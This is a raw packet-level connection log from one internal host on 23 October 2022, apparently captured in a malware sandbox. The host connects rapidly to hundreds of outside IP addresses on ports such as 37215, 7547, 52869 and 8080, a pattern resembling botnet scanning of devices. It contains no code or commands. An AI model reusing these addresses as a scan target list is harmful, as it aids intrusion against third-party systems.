Oct 23, 2022 17:56:37.062356949 CEST	443	20351	212.3.70.50	192.168.2.23
Oct 23, 2022 17:56:37.062361002 CEST	20351	443	192.168.2.23	118.185.253.165
Oct 23, 2022 17:56:37.062377930 CEST	20351	443	192.168.2.23	202.99.151.55
Oct 23, 2022 17:56:37.062377930 CEST	443	20351	123.31.168.92	192.168.2.23
Oct 23, 2022 17:56:37.062381029 CEST	20337	37215	192.168.2.23	197.120.147.164
Oct 23, 2022 17:56:37.062381029 CEST	20351	443	192.168.2.23	79.99.190.44
Oct 23, 2022 17:56:37.062387943 CEST	20351	443	192.168.2.23	2.211.26.77
Oct 23, 2022 17:56:37.062395096 CEST	20351	443	192.168.2.23	5.210.230.211
Oct 23, 2022 17:56:37.062407970 CEST	20351	443	192.168.2.23	5.10.196.244
Oct 23, 2022 17:56:37.062407970 CEST	20351	443	192.168.2.23	148.167.94.27
Oct 23, 2022 17:56:37.062407970 CEST	20351	443	192.168.2.23	212.3.70.50
Oct 23, 2022 17:56:37.062408924 CEST	20351	443	192.168.2.23	148.14.241.242
Oct 23, 2022 17:56:37.062414885 CEST	20337	80	192.168.2.23	41.53.71.215
Oct 23, 2022 17:56:37.062427998 CEST	20337	7547	192.168.2.23	102.103.247.242
Oct 23, 2022 17:56:37.062433958 CEST	20337	37215	192.168.2.23	93.161.242.170
Oct 23, 2022 17:56:37.062439919 CEST	20337	60001	192.168.2.23	138.98.114.194
Oct 23, 2022 17:56:37.062443018 CEST	20351	443	192.168.2.23	123.31.168.92
Oct 23, 2022 17:56:37.062467098 CEST	20337	7547	192.168.2.23	189.69.249.99
Oct 23, 2022 17:56:37.062467098 CEST	20337	7547	192.168.2.23	41.89.169.243
Oct 23, 2022 17:56:37.062467098 CEST	20337	60001	192.168.2.23	196.67.8.250
Oct 23, 2022 17:56:37.062473059 CEST	20337	37215	192.168.2.23	108.113.109.186
Oct 23, 2022 17:56:37.062484026 CEST	20337	8080	192.168.2.23	32.80.0.212
Oct 23, 2022 17:56:37.062484026 CEST	20337	80	192.168.2.23	160.27.117.192
Oct 23, 2022 17:56:37.062495947 CEST	20337	60001	192.168.2.23	115.21.55.177
Oct 23, 2022 17:56:37.062495947 CEST	20337	80	192.168.2.23	111.23.190.241
Oct 23, 2022 17:56:37.062506914 CEST	20337	8080	192.168.2.23	176.240.152.29
Oct 23, 2022 17:56:37.062508106 CEST	20337	60001	192.168.2.23	178.26.157.34
Oct 23, 2022 17:56:37.062508106 CEST	20337	37215	192.168.2.23	79.132.228.144
Oct 23, 2022 17:56:37.062532902 CEST	20337	8080	192.168.2.23	156.202.201.177
Oct 23, 2022 17:56:37.062532902 CEST	20337	37215	192.168.2.23	180.46.169.244
Oct 23, 2022 17:56:37.062536001 CEST	20337	37215	192.168.2.23	156.187.106.6
Oct 23, 2022 17:56:37.062541962 CEST	20337	37215	192.168.2.23	79.60.39.136
Oct 23, 2022 17:56:37.062566042 CEST	20337	37215	192.168.2.23	171.200.151.254
Oct 23, 2022 17:56:37.062566042 CEST	20337	60001	192.168.2.23	197.176.0.13
Oct 23, 2022 17:56:37.062566996 CEST	20337	37215	192.168.2.23	78.0.21.9
Oct 23, 2022 17:56:37.062572956 CEST	20337	37215	192.168.2.23	207.227.220.60
Oct 23, 2022 17:56:37.062581062 CEST	20337	80	192.168.2.23	105.102.86.253
Oct 23, 2022 17:56:37.062587976 CEST	20337	37215	192.168.2.23	176.185.28.62
Oct 23, 2022 17:56:37.062606096 CEST	20337	8080	192.168.2.23	197.224.252.110
Oct 23, 2022 17:56:37.062608957 CEST	20337	37215	192.168.2.23	86.138.192.87
Oct 23, 2022 17:56:37.062612057 CEST	20337	7547	192.168.2.23	137.15.71.67
Oct 23, 2022 17:56:37.062616110 CEST	20337	80	192.168.2.23	197.20.131.11
Oct 23, 2022 17:56:37.062670946 CEST	20351	443	192.168.2.23	94.194.71.248
Oct 23, 2022 17:56:37.062674999 CEST	20351	443	192.168.2.23	202.255.125.24
Oct 23, 2022 17:56:37.062685966 CEST	20351	443	192.168.2.23	79.160.88.109
Oct 23, 2022 17:56:37.062686920 CEST	20351	443	192.168.2.23	42.223.156.79
Oct 23, 2022 17:56:37.062689066 CEST	443	20351	202.255.125.24	192.168.2.23
Oct 23, 2022 17:56:37.062691927 CEST	443	20351	94.194.71.248	192.168.2.23
Oct 23, 2022 17:56:37.062704086 CEST	20351	443	192.168.2.23	212.14.2.4
Oct 23, 2022 17:56:37.062704086 CEST	20351	443	192.168.2.23	212.65.187.86
Oct 23, 2022 17:56:37.062704086 CEST	20351	443	192.168.2.23	42.193.141.122
Oct 23, 2022 17:56:37.062712908 CEST	443	20351	79.160.88.109	192.168.2.23
Oct 23, 2022 17:56:37.062720060 CEST	443	20351	212.14.2.4	192.168.2.23
Oct 23, 2022 17:56:37.062727928 CEST	20351	443	192.168.2.23	210.55.170.161
Oct 23, 2022 17:56:37.062727928 CEST	20351	443	192.168.2.23	202.255.125.24
Oct 23, 2022 17:56:37.062727928 CEST	20351	443	192.168.2.23	117.15.229.185
Oct 23, 2022 17:56:37.062731028 CEST	443	20351	212.65.187.86	192.168.2.23
Oct 23, 2022 17:56:37.062735081 CEST	443	20351	42.223.156.79	192.168.2.23
Oct 23, 2022 17:56:37.062742949 CEST	443	20351	42.193.141.122	192.168.2.23
Oct 23, 2022 17:56:37.062745094 CEST	443	20351	210.55.170.161	192.168.2.23
Oct 23, 2022 17:56:37.062750101 CEST	20351	443	192.168.2.23	94.194.71.248
Oct 23, 2022 17:56:37.062752008 CEST	20351	443	192.168.2.23	79.160.88.109
Oct 23, 2022 17:56:37.062764883 CEST	443	20351	117.15.229.185	192.168.2.23
Oct 23, 2022 17:56:37.062767029 CEST	20351	443	192.168.2.23	212.65.187.86
Oct 23, 2022 17:56:37.062788010 CEST	20351	443	192.168.2.23	212.14.2.4
Oct 23, 2022 17:56:37.062793970 CEST	20351	443	192.168.2.23	42.223.156.79
Oct 23, 2022 17:56:37.062802076 CEST	20351	443	192.168.2.23	210.55.170.161
Oct 23, 2022 17:56:37.062822104 CEST	20351	443	192.168.2.23	42.193.141.122
Oct 23, 2022 17:56:37.062829971 CEST	20351	443	192.168.2.23	117.15.229.185
Oct 23, 2022 17:56:37.062881947 CEST	20337	60001	192.168.2.23	141.124.148.32
Oct 23, 2022 17:56:37.062891960 CEST	20337	37215	192.168.2.23	72.14.119.14
Oct 23, 2022 17:56:37.062901020 CEST	20337	7547	192.168.2.23	95.40.24.2
Oct 23, 2022 17:56:37.062908888 CEST	20337	80	192.168.2.23	104.198.24.222
Oct 23, 2022 17:56:37.062918901 CEST	20337	8080	192.168.2.23	167.194.216.66
Oct 23, 2022 17:56:37.062918901 CEST	20337	8080	192.168.2.23	40.176.215.9
Oct 23, 2022 17:56:37.063776970 CEST	23	20342	78.36.58.249	192.168.2.23
Oct 23, 2022 17:56:37.063806057 CEST	54804	443	192.168.2.23	117.27.118.194
Oct 23, 2022 17:56:37.063831091 CEST	443	54804	117.27.118.194	192.168.2.23
Oct 23, 2022 17:56:37.063980103 CEST	54804	443	192.168.2.23	117.27.118.194
Oct 23, 2022 17:56:37.064284086 CEST	48320	443	192.168.2.23	94.78.214.180
Oct 23, 2022 17:56:37.064301014 CEST	38210	443	192.168.2.23	42.151.233.221
Oct 23, 2022 17:56:37.064317942 CEST	443	48320	94.78.214.180	192.168.2.23
Oct 23, 2022 17:56:37.064337015 CEST	443	38210	42.151.233.221	192.168.2.23
Oct 23, 2022 17:56:37.064338923 CEST	36672	443	192.168.2.23	212.72.137.61
Oct 23, 2022 17:56:37.064340115 CEST	42316	443	192.168.2.23	118.56.49.56
Oct 23, 2022 17:56:37.064340115 CEST	57706	443	192.168.2.23	210.80.10.209
Oct 23, 2022 17:56:37.064356089 CEST	57966	443	192.168.2.23	2.132.212.53
Oct 23, 2022 17:56:37.064362049 CEST	443	42316	118.56.49.56	192.168.2.23
Oct 23, 2022 17:56:37.064372063 CEST	443	36672	212.72.137.61	192.168.2.23
Oct 23, 2022 17:56:37.064373970 CEST	443	57706	210.80.10.209	192.168.2.23
Oct 23, 2022 17:56:37.064377069 CEST	443	57966	2.132.212.53	192.168.2.23
Oct 23, 2022 17:56:37.064385891 CEST	38210	443	192.168.2.23	42.151.233.221
Oct 23, 2022 17:56:37.064398050 CEST	48320	443	192.168.2.23	94.78.214.180
Oct 23, 2022 17:56:37.064400911 CEST	42316	443	192.168.2.23	118.56.49.56
Oct 23, 2022 17:56:37.064428091 CEST	36672	443	192.168.2.23	212.72.137.61
Oct 23, 2022 17:56:37.064435005 CEST	57706	443	192.168.2.23	210.80.10.209
Oct 23, 2022 17:56:37.064436913 CEST	57966	443	192.168.2.23	2.132.212.53
Oct 23, 2022 17:56:37.064474106 CEST	35156	443	192.168.2.23	148.70.65.189
Oct 23, 2022 17:56:37.064485073 CEST	443	35156	148.70.65.189	192.168.2.23
Oct 23, 2022 17:56:37.064493895 CEST	57266	443	192.168.2.23	212.18.203.238
Oct 23, 2022 17:56:37.064513922 CEST	443	57266	212.18.203.238	192.168.2.23
Oct 23, 2022 17:56:37.064518929 CEST	34110	443	192.168.2.23	178.232.27.88
Oct 23, 2022 17:56:37.064518929 CEST	35156	443	192.168.2.23	148.70.65.189
Oct 23, 2022 17:56:37.064539909 CEST	443	34110	178.232.27.88	192.168.2.23
Oct 23, 2022 17:56:37.064548969 CEST	55736	443	192.168.2.23	212.103.212.104
Oct 23, 2022 17:56:37.064573050 CEST	443	55736	212.103.212.104	192.168.2.23
Oct 23, 2022 17:56:37.064574003 CEST	57266	443	192.168.2.23	212.18.203.238
Oct 23, 2022 17:56:37.064579010 CEST	34110	443	192.168.2.23	178.232.27.88
Oct 23, 2022 17:56:37.064608097 CEST	54376	443	192.168.2.23	202.174.147.220
Oct 23, 2022 17:56:37.064608097 CEST	53232	443	192.168.2.23	94.134.204.245
Oct 23, 2022 17:56:37.064630985 CEST	443	54376	202.174.147.220	192.168.2.23
Oct 23, 2022 17:56:37.064631939 CEST	60610	443	192.168.2.23	148.161.147.76
Oct 23, 2022 17:56:37.064634085 CEST	55736	443	192.168.2.23	212.103.212.104
Oct 23, 2022 17:56:37.064641953 CEST	443	53232	94.134.204.245	192.168.2.23
Oct 23, 2022 17:56:37.064655066 CEST	443	60610	148.161.147.76	192.168.2.23
Oct 23, 2022 17:56:37.064655066 CEST	43414	443	192.168.2.23	37.127.85.133
Oct 23, 2022 17:56:37.064666033 CEST	53808	443	192.168.2.23	2.201.93.134
Oct 23, 2022 17:56:37.064681053 CEST	443	43414	37.127.85.133	192.168.2.23
Oct 23, 2022 17:56:37.064685106 CEST	443	53808	2.201.93.134	192.168.2.23
Oct 23, 2022 17:56:37.064687967 CEST	54376	443	192.168.2.23	202.174.147.220
Oct 23, 2022 17:56:37.064706087 CEST	44348	443	192.168.2.23	94.100.118.207
Oct 23, 2022 17:56:37.064713001 CEST	60610	443	192.168.2.23	148.161.147.76
Oct 23, 2022 17:56:37.064717054 CEST	53232	443	192.168.2.23	94.134.204.245
Oct 23, 2022 17:56:37.064737082 CEST	43414	443	192.168.2.23	37.127.85.133
Oct 23, 2022 17:56:37.064743042 CEST	53808	443	192.168.2.23	2.201.93.134
Oct 23, 2022 17:56:37.064754009 CEST	443	44348	94.100.118.207	192.168.2.23
Oct 23, 2022 17:56:37.064758062 CEST	39174	443	192.168.2.23	117.200.155.237
Oct 23, 2022 17:56:37.064783096 CEST	443	39174	117.200.155.237	192.168.2.23
Oct 23, 2022 17:56:37.064783096 CEST	48454	443	192.168.2.23	109.133.196.242
Oct 23, 2022 17:56:37.064785957 CEST	49398	443	192.168.2.23	109.115.136.200
Oct 23, 2022 17:56:37.064801931 CEST	47174	443	192.168.2.23	210.110.116.93
Oct 23, 2022 17:56:37.064801931 CEST	54370	443	192.168.2.23	79.138.161.205
Oct 23, 2022 17:56:37.064807892 CEST	443	49398	109.115.136.200	192.168.2.23
Oct 23, 2022 17:56:37.064817905 CEST	60096	443	192.168.2.23	123.113.181.188
Oct 23, 2022 17:56:37.064821005 CEST	443	48454	109.133.196.242	192.168.2.23
Oct 23, 2022 17:56:37.064829111 CEST	443	47174	210.110.116.93	192.168.2.23
Oct 23, 2022 17:56:37.064834118 CEST	44348	443	192.168.2.23	94.100.118.207
Oct 23, 2022 17:56:37.064837933 CEST	443	60096	123.113.181.188	192.168.2.23
Oct 23, 2022 17:56:37.064851999 CEST	443	54370	79.138.161.205	192.168.2.23
Oct 23, 2022 17:56:37.064863920 CEST	55046	443	192.168.2.23	148.30.90.251
Oct 23, 2022 17:56:37.064883947 CEST	60096	443	192.168.2.23	123.113.181.188
Oct 23, 2022 17:56:37.064896107 CEST	443	55046	148.30.90.251	192.168.2.23
Oct 23, 2022 17:56:37.064898014 CEST	48454	443	192.168.2.23	109.133.196.242
Oct 23, 2022 17:56:37.064910889 CEST	39174	443	192.168.2.23	117.200.155.237
Oct 23, 2022 17:56:37.064910889 CEST	37770	443	192.168.2.23	5.251.158.151
Oct 23, 2022 17:56:37.064910889 CEST	47174	443	192.168.2.23	210.110.116.93
Oct 23, 2022 17:56:37.064910889 CEST	54370	443	192.168.2.23	79.138.161.205
Oct 23, 2022 17:56:37.064923048 CEST	49398	443	192.168.2.23	109.115.136.200
Oct 23, 2022 17:56:37.064934969 CEST	60340	443	192.168.2.23	148.207.14.235
Oct 23, 2022 17:56:37.064945936 CEST	55046	443	192.168.2.23	148.30.90.251
Oct 23, 2022 17:56:37.064955950 CEST	443	60340	148.207.14.235	192.168.2.23
Oct 23, 2022 17:56:37.064960957 CEST	57010	443	192.168.2.23	123.204.62.228
Oct 23, 2022 17:56:37.064965963 CEST	443	37770	5.251.158.151	192.168.2.23
Oct 23, 2022 17:56:37.064973116 CEST	50744	443	192.168.2.23	148.83.209.48
Oct 23, 2022 17:56:37.064980984 CEST	443	57010	123.204.62.228	192.168.2.23
Oct 23, 2022 17:56:37.065001011 CEST	443	50744	148.83.209.48	192.168.2.23
Oct 23, 2022 17:56:37.065002918 CEST	41598	443	192.168.2.23	117.92.89.20
Oct 23, 2022 17:56:37.065002918 CEST	60340	443	192.168.2.23	148.207.14.235
Oct 23, 2022 17:56:37.065012932 CEST	37770	443	192.168.2.23	5.251.158.151
Oct 23, 2022 17:56:37.065023899 CEST	50862	443	192.168.2.23	212.119.85.113
Oct 23, 2022 17:56:37.065030098 CEST	443	41598	117.92.89.20	192.168.2.23
Oct 23, 2022 17:56:37.065042973 CEST	57010	443	192.168.2.23	123.204.62.228
Oct 23, 2022 17:56:37.065046072 CEST	443	50862	212.119.85.113	192.168.2.23
Oct 23, 2022 17:56:37.065058947 CEST	50744	443	192.168.2.23	148.83.209.48
Oct 23, 2022 17:56:37.065059900 CEST	38254	443	192.168.2.23	37.54.179.192
Oct 23, 2022 17:56:37.065083027 CEST	443	38254	37.54.179.192	192.168.2.23
Oct 23, 2022 17:56:37.065089941 CEST	36890	443	192.168.2.23	212.109.127.54
Oct 23, 2022 17:56:37.065090895 CEST	50862	443	192.168.2.23	212.119.85.113
Oct 23, 2022 17:56:37.065102100 CEST	41598	443	192.168.2.23	117.92.89.20
Oct 23, 2022 17:56:37.065110922 CEST	443	36890	212.109.127.54	192.168.2.23
Oct 23, 2022 17:56:37.065124989 CEST	38254	443	192.168.2.23	37.54.179.192
Oct 23, 2022 17:56:37.065146923 CEST	56362	443	192.168.2.23	178.203.138.149
Oct 23, 2022 17:56:37.065172911 CEST	443	56362	178.203.138.149	192.168.2.23
Oct 23, 2022 17:56:37.065175056 CEST	36890	443	192.168.2.23	212.109.127.54
Oct 23, 2022 17:56:37.065175056 CEST	45480	443	192.168.2.23	94.140.183.59
Oct 23, 2022 17:56:37.065181971 CEST	48762	443	192.168.2.23	5.173.144.154
Oct 23, 2022 17:56:37.065197945 CEST	59494	443	192.168.2.23	123.158.158.175
Oct 23, 2022 17:56:37.065208912 CEST	443	59494	123.158.158.175	192.168.2.23
Oct 23, 2022 17:56:37.065211058 CEST	38464	443	192.168.2.23	123.226.41.33
Oct 23, 2022 17:56:37.065232038 CEST	443	38464	123.226.41.33	192.168.2.23
Oct 23, 2022 17:56:37.065231085 CEST	56362	443	192.168.2.23	178.203.138.149
Oct 23, 2022 17:56:37.065237999 CEST	46022	443	192.168.2.23	2.29.192.74
Oct 23, 2022 17:56:37.065237999 CEST	443	45480	94.140.183.59	192.168.2.23
Oct 23, 2022 17:56:37.065248966 CEST	443	46022	2.29.192.74	192.168.2.23
Oct 23, 2022 17:56:37.065257072 CEST	55632	443	192.168.2.23	94.88.182.24
Oct 23, 2022 17:56:37.065268040 CEST	443	48762	5.173.144.154	192.168.2.23
Oct 23, 2022 17:56:37.065274000 CEST	59494	443	192.168.2.23	123.158.158.175
Oct 23, 2022 17:56:37.065278053 CEST	56136	443	192.168.2.23	123.75.6.153
Oct 23, 2022 17:56:37.065283060 CEST	443	55632	94.88.182.24	192.168.2.23
Oct 23, 2022 17:56:37.065284014 CEST	38464	443	192.168.2.23	123.226.41.33
Oct 23, 2022 17:56:37.065284014 CEST	57428	443	192.168.2.23	42.29.44.5
Oct 23, 2022 17:56:37.065288067 CEST	45480	443	192.168.2.23	94.140.183.59
Oct 23, 2022 17:56:37.065304041 CEST	55368	443	192.168.2.23	212.137.200.100
Oct 23, 2022 17:56:37.065308094 CEST	443	57428	42.29.44.5	192.168.2.23
Oct 23, 2022 17:56:37.065315962 CEST	443	56136	123.75.6.153	192.168.2.23
Oct 23, 2022 17:56:37.065320015 CEST	48762	443	192.168.2.23	5.173.144.154
Oct 23, 2022 17:56:37.065327883 CEST	38524	443	192.168.2.23	210.175.186.77
Oct 23, 2022 17:56:37.065327883 CEST	55632	443	192.168.2.23	94.88.182.24
Oct 23, 2022 17:56:37.065330029 CEST	38900	443	192.168.2.23	2.196.122.87
Oct 23, 2022 17:56:37.065332890 CEST	443	55368	212.137.200.100	192.168.2.23
Oct 23, 2022 17:56:37.065342903 CEST	443	38900	2.196.122.87	192.168.2.23
Oct 23, 2022 17:56:37.065350056 CEST	443	38524	210.175.186.77	192.168.2.23
Oct 23, 2022 17:56:37.065354109 CEST	57838	443	192.168.2.23	210.106.248.82
Oct 23, 2022 17:56:37.065356016 CEST	57428	443	192.168.2.23	42.29.44.5
Oct 23, 2022 17:56:37.065367937 CEST	56136	443	192.168.2.23	123.75.6.153
Oct 23, 2022 17:56:37.065372944 CEST	55368	443	192.168.2.23	212.137.200.100
Oct 23, 2022 17:56:37.065375090 CEST	443	57838	210.106.248.82	192.168.2.23
Oct 23, 2022 17:56:37.065380096 CEST	34570	443	192.168.2.23	212.91.251.48
Oct 23, 2022 17:56:37.065387964 CEST	38900	443	192.168.2.23	2.196.122.87
Oct 23, 2022 17:56:37.065392017 CEST	46022	443	192.168.2.23	2.29.192.74
Oct 23, 2022 17:56:37.065402031 CEST	443	34570	212.91.251.48	192.168.2.23
Oct 23, 2022 17:56:37.065409899 CEST	36536	443	192.168.2.23	5.224.199.56
Oct 23, 2022 17:56:37.065411091 CEST	38524	443	192.168.2.23	210.175.186.77
Oct 23, 2022 17:56:37.065411091 CEST	59838	443	192.168.2.23	202.126.57.25
Oct 23, 2022 17:56:37.065422058 CEST	443	36536	5.224.199.56	192.168.2.23
Oct 23, 2022 17:56:37.065427065 CEST	57838	443	192.168.2.23	210.106.248.82
Oct 23, 2022 17:56:37.065445900 CEST	34570	443	192.168.2.23	212.91.251.48
Oct 23, 2022 17:56:37.065444946 CEST	49104	443	192.168.2.23	212.50.210.201
Oct 23, 2022 17:56:37.065449953 CEST	443	59838	202.126.57.25	192.168.2.23
Oct 23, 2022 17:56:37.065459013 CEST	52402	443	192.168.2.23	210.161.66.200
Oct 23, 2022 17:56:37.065470934 CEST	36536	443	192.168.2.23	5.224.199.56
Oct 23, 2022 17:56:37.065483093 CEST	443	49104	212.50.210.201	192.168.2.23
Oct 23, 2022 17:56:37.065491915 CEST	443	52402	210.161.66.200	192.168.2.23
Oct 23, 2022 17:56:37.065510035 CEST	37088	443	192.168.2.23	109.108.30.173
Oct 23, 2022 17:56:37.065516949 CEST	58060	443	192.168.2.23	123.255.14.73
Oct 23, 2022 17:56:37.065527916 CEST	35390	443	192.168.2.23	42.6.94.132
Oct 23, 2022 17:56:37.065530062 CEST	59838	443	192.168.2.23	202.126.57.25
Oct 23, 2022 17:56:37.065541983 CEST	443	37088	109.108.30.173	192.168.2.23
Oct 23, 2022 17:56:37.065546036 CEST	52402	443	192.168.2.23	210.161.66.200
Oct 23, 2022 17:56:37.065551043 CEST	443	35390	42.6.94.132	192.168.2.23
Oct 23, 2022 17:56:37.065553904 CEST	443	58060	123.255.14.73	192.168.2.23
Oct 23, 2022 17:56:37.065582991 CEST	33688	443	192.168.2.23	212.129.164.233
Oct 23, 2022 17:56:37.065582991 CEST	49104	443	192.168.2.23	212.50.210.201
Oct 23, 2022 17:56:37.065582991 CEST	40146	443	192.168.2.23	42.26.66.196
Oct 23, 2022 17:56:37.065588951 CEST	46470	443	192.168.2.23	148.250.142.138
Oct 23, 2022 17:56:37.065597057 CEST	37088	443	192.168.2.23	109.108.30.173
Oct 23, 2022 17:56:37.065609932 CEST	443	46470	148.250.142.138	192.168.2.23
Oct 23, 2022 17:56:37.065613031 CEST	35390	443	192.168.2.23	42.6.94.132
Oct 23, 2022 17:56:37.065627098 CEST	443	33688	212.129.164.233	192.168.2.23
Oct 23, 2022 17:56:37.065642118 CEST	47444	443	192.168.2.23	210.1.54.205
Oct 23, 2022 17:56:37.065646887 CEST	58872	443	192.168.2.23	202.231.142.11
Oct 23, 2022 17:56:37.065646887 CEST	45720	443	192.168.2.23	212.58.186.141
Oct 23, 2022 17:56:37.065659046 CEST	443	58872	202.231.142.11	192.168.2.23
Oct 23, 2022 17:56:37.065660954 CEST	443	47444	210.1.54.205	192.168.2.23
Oct 23, 2022 17:56:37.065664053 CEST	46470	443	192.168.2.23	148.250.142.138
Oct 23, 2022 17:56:37.065669060 CEST	443	45720	212.58.186.141	192.168.2.23
Oct 23, 2022 17:56:37.065676928 CEST	443	40146	42.26.66.196	192.168.2.23
Oct 23, 2022 17:56:37.065690994 CEST	41044	443	192.168.2.23	117.231.52.102
Oct 23, 2022 17:56:37.065701008 CEST	42748	443	192.168.2.23	109.162.62.59
Oct 23, 2022 17:56:37.065706968 CEST	58060	443	192.168.2.23	123.255.14.73
Oct 23, 2022 17:56:37.065706968 CEST	33688	443	192.168.2.23	212.129.164.233
Oct 23, 2022 17:56:37.065716982 CEST	443	42748	109.162.62.59	192.168.2.23
Oct 23, 2022 17:56:37.065718889 CEST	44904	443	192.168.2.23	37.147.29.235
Oct 23, 2022 17:56:37.065718889 CEST	47444	443	192.168.2.23	210.1.54.205
Oct 23, 2022 17:56:37.065721989 CEST	443	41044	117.231.52.102	192.168.2.23
Oct 23, 2022 17:56:37.065737009 CEST	58872	443	192.168.2.23	202.231.142.11
Oct 23, 2022 17:56:37.065737009 CEST	45720	443	192.168.2.23	212.58.186.141
Oct 23, 2022 17:56:37.065742970 CEST	443	44904	37.147.29.235	192.168.2.23
Oct 23, 2022 17:56:37.065757036 CEST	40146	443	192.168.2.23	42.26.66.196
Oct 23, 2022 17:56:37.065768003 CEST	42748	443	192.168.2.23	109.162.62.59
Oct 23, 2022 17:56:37.065792084 CEST	41044	443	192.168.2.23	117.231.52.102
Oct 23, 2022 17:56:37.065803051 CEST	44904	443	192.168.2.23	37.147.29.235
Oct 23, 2022 17:56:37.068120003 CEST	20347	52869	192.168.2.23	110.59.118.194
Oct 23, 2022 17:56:37.068152905 CEST	20348	8080	192.168.2.23	187.3.118.194
Oct 23, 2022 17:56:37.068200111 CEST	20347	52869	192.168.2.23	110.117.185.194
Oct 23, 2022 17:56:37.068216085 CEST	20347	52869	192.168.2.23	110.103.65.188
Oct 23, 2022 17:56:37.068237066 CEST	20348	8080	192.168.2.23	187.77.185.194
Oct 23, 2022 17:56:37.068243027 CEST	20347	52869	192.168.2.23	110.86.212.206
Oct 23, 2022 17:56:37.068248034 CEST	20348	8080	192.168.2.23	189.94.129.189
Oct 23, 2022 17:56:37.068257093 CEST	20348	8080	192.168.2.23	187.153.27.207
Oct 23, 2022 17:56:37.068257093 CEST	20348	8080	192.168.2.23	201.249.241.117
Oct 23, 2022 17:56:37.068279982 CEST	20348	8080	192.168.2.23	189.105.166.63
Oct 23, 2022 17:56:37.068283081 CEST	20348	8080	192.168.2.23	187.129.113.3
Oct 23, 2022 17:56:37.068286896 CEST	20348	8080	192.168.2.23	187.3.137.129
Oct 23, 2022 17:56:37.068286896 CEST	20348	8080	192.168.2.23	189.255.127.218
Oct 23, 2022 17:56:37.068305969 CEST	20348	8080	192.168.2.23	187.140.176.210
Oct 23, 2022 17:56:37.068310022 CEST	20348	8080	192.168.2.23	187.148.12.238
Oct 23, 2022 17:56:37.068310022 CEST	20348	8080	192.168.2.23	201.165.19.241
Oct 23, 2022 17:56:37.068315983 CEST	20348	8080	192.168.2.23	201.37.247.221
Oct 23, 2022 17:56:37.068330050 CEST	20348	8080	192.168.2.23	187.178.54.85
Oct 23, 2022 17:56:37.068342924 CEST	20348	8080	192.168.2.23	201.141.53.191
Oct 23, 2022 17:56:37.068353891 CEST	20348	8080	192.168.2.23	187.67.112.232
Oct 23, 2022 17:56:37.068353891 CEST	20348	8080	192.168.2.23	189.224.65.140
Oct 23, 2022 17:56:37.068356991 CEST	20348	8080	192.168.2.23	189.155.122.110
Oct 23, 2022 17:56:37.068372011 CEST	20348	8080	192.168.2.23	187.245.19.215
Oct 23, 2022 17:56:37.068375111 CEST	20348	8080	192.168.2.23	187.24.22.143
Oct 23, 2022 17:56:37.068397045 CEST	20348	8080	192.168.2.23	189.197.38.200
Oct 23, 2022 17:56:37.068397045 CEST	20348	8080	192.168.2.23	201.197.131.64
Oct 23, 2022 17:56:37.068401098 CEST	20348	8080	192.168.2.23	201.91.148.236
Oct 23, 2022 17:56:37.068404913 CEST	20348	8080	192.168.2.23	189.84.49.162
Oct 23, 2022 17:56:37.068413973 CEST	20348	8080	192.168.2.23	201.201.12.71
Oct 23, 2022 17:56:37.068420887 CEST	20348	8080	192.168.2.23	201.64.44.171
Oct 23, 2022 17:56:37.068420887 CEST	20348	8080	192.168.2.23	201.28.186.132
Oct 23, 2022 17:56:37.068422079 CEST	20348	8080	192.168.2.23	187.14.213.254
Oct 23, 2022 17:56:37.068425894 CEST	20348	8080	192.168.2.23	187.73.100.6
Oct 23, 2022 17:56:37.068438053 CEST	20348	8080	192.168.2.23	189.110.192.220
Oct 23, 2022 17:56:37.068438053 CEST	20348	8080	192.168.2.23	201.209.240.15
Oct 23, 2022 17:56:37.068438053 CEST	20348	8080	192.168.2.23	187.235.125.24
Oct 23, 2022 17:56:37.068456888 CEST	20348	8080	192.168.2.23	189.191.252.133
Oct 23, 2022 17:56:37.068459988 CEST	20348	8080	192.168.2.23	189.158.1.244
Oct 23, 2022 17:56:37.068470001 CEST	20348	8080	192.168.2.23	201.30.54.231
Oct 23, 2022 17:56:37.068470955 CEST	20348	8080	192.168.2.23	187.193.2.187
Oct 23, 2022 17:56:37.068474054 CEST	20348	8080	192.168.2.23	187.112.91.45
Oct 23, 2022 17:56:37.068474054 CEST	20348	8080	192.168.2.23	189.64.224.103
Oct 23, 2022 17:56:37.068484068 CEST	20348	8080	192.168.2.23	187.86.225.2
Oct 23, 2022 17:56:37.068485975 CEST	20348	8080	192.168.2.23	187.42.112.72
Oct 23, 2022 17:56:37.068510056 CEST	20348	8080	192.168.2.23	189.207.114.166
Oct 23, 2022 17:56:37.068511963 CEST	20348	8080	192.168.2.23	189.48.119.25
Oct 23, 2022 17:56:37.068512917 CEST	20348	8080	192.168.2.23	189.13.225.171
Oct 23, 2022 17:56:37.068520069 CEST	20348	8080	192.168.2.23	201.248.83.125
Oct 23, 2022 17:56:37.068523884 CEST	20348	8080	192.168.2.23	201.51.58.161
Oct 23, 2022 17:56:37.068523884 CEST	20348	8080	192.168.2.23	187.215.23.171
Oct 23, 2022 17:56:37.068546057 CEST	20348	8080	192.168.2.23	201.179.230.31
Oct 23, 2022 17:56:37.068558931 CEST	20348	8080	192.168.2.23	189.36.29.28
Oct 23, 2022 17:56:37.068562031 CEST	20348	8080	192.168.2.23	201.43.232.68
Oct 23, 2022 17:56:37.068562031 CEST	20348	8080	192.168.2.23	201.228.45.232
Oct 23, 2022 17:56:37.068573952 CEST	20348	8080	192.168.2.23	201.217.245.138
Oct 23, 2022 17:56:37.068588018 CEST	20348	8080	192.168.2.23	187.238.54.42
Oct 23, 2022 17:56:37.068588972 CEST	20348	8080	192.168.2.23	187.142.174.252
Oct 23, 2022 17:56:37.068588972 CEST	20348	8080	192.168.2.23	201.97.252.236
Oct 23, 2022 17:56:37.068602085 CEST	20348	8080	192.168.2.23	201.188.5.122
Oct 23, 2022 17:56:37.068603992 CEST	20348	8080	192.168.2.23	201.239.73.174
Oct 23, 2022 17:56:37.068607092 CEST	20348	8080	192.168.2.23	187.0.226.104
Oct 23, 2022 17:56:37.068629026 CEST	20348	8080	192.168.2.23	189.154.50.254
Oct 23, 2022 17:56:37.068629026 CEST	20348	8080	192.168.2.23	201.161.111.6
Oct 23, 2022 17:56:37.068629026 CEST	20348	8080	192.168.2.23	201.3.212.128
Oct 23, 2022 17:56:37.068630934 CEST	20348	8080	192.168.2.23	189.233.207.191
Oct 23, 2022 17:56:37.068630934 CEST	20348	8080	192.168.2.23	189.185.16.172
Oct 23, 2022 17:56:37.068631887 CEST	20348	8080	192.168.2.23	187.88.235.118
Oct 23, 2022 17:56:37.068633080 CEST	20348	8080	192.168.2.23	189.228.182.34
Oct 23, 2022 17:56:37.068655968 CEST	20348	8080	192.168.2.23	187.131.149.151
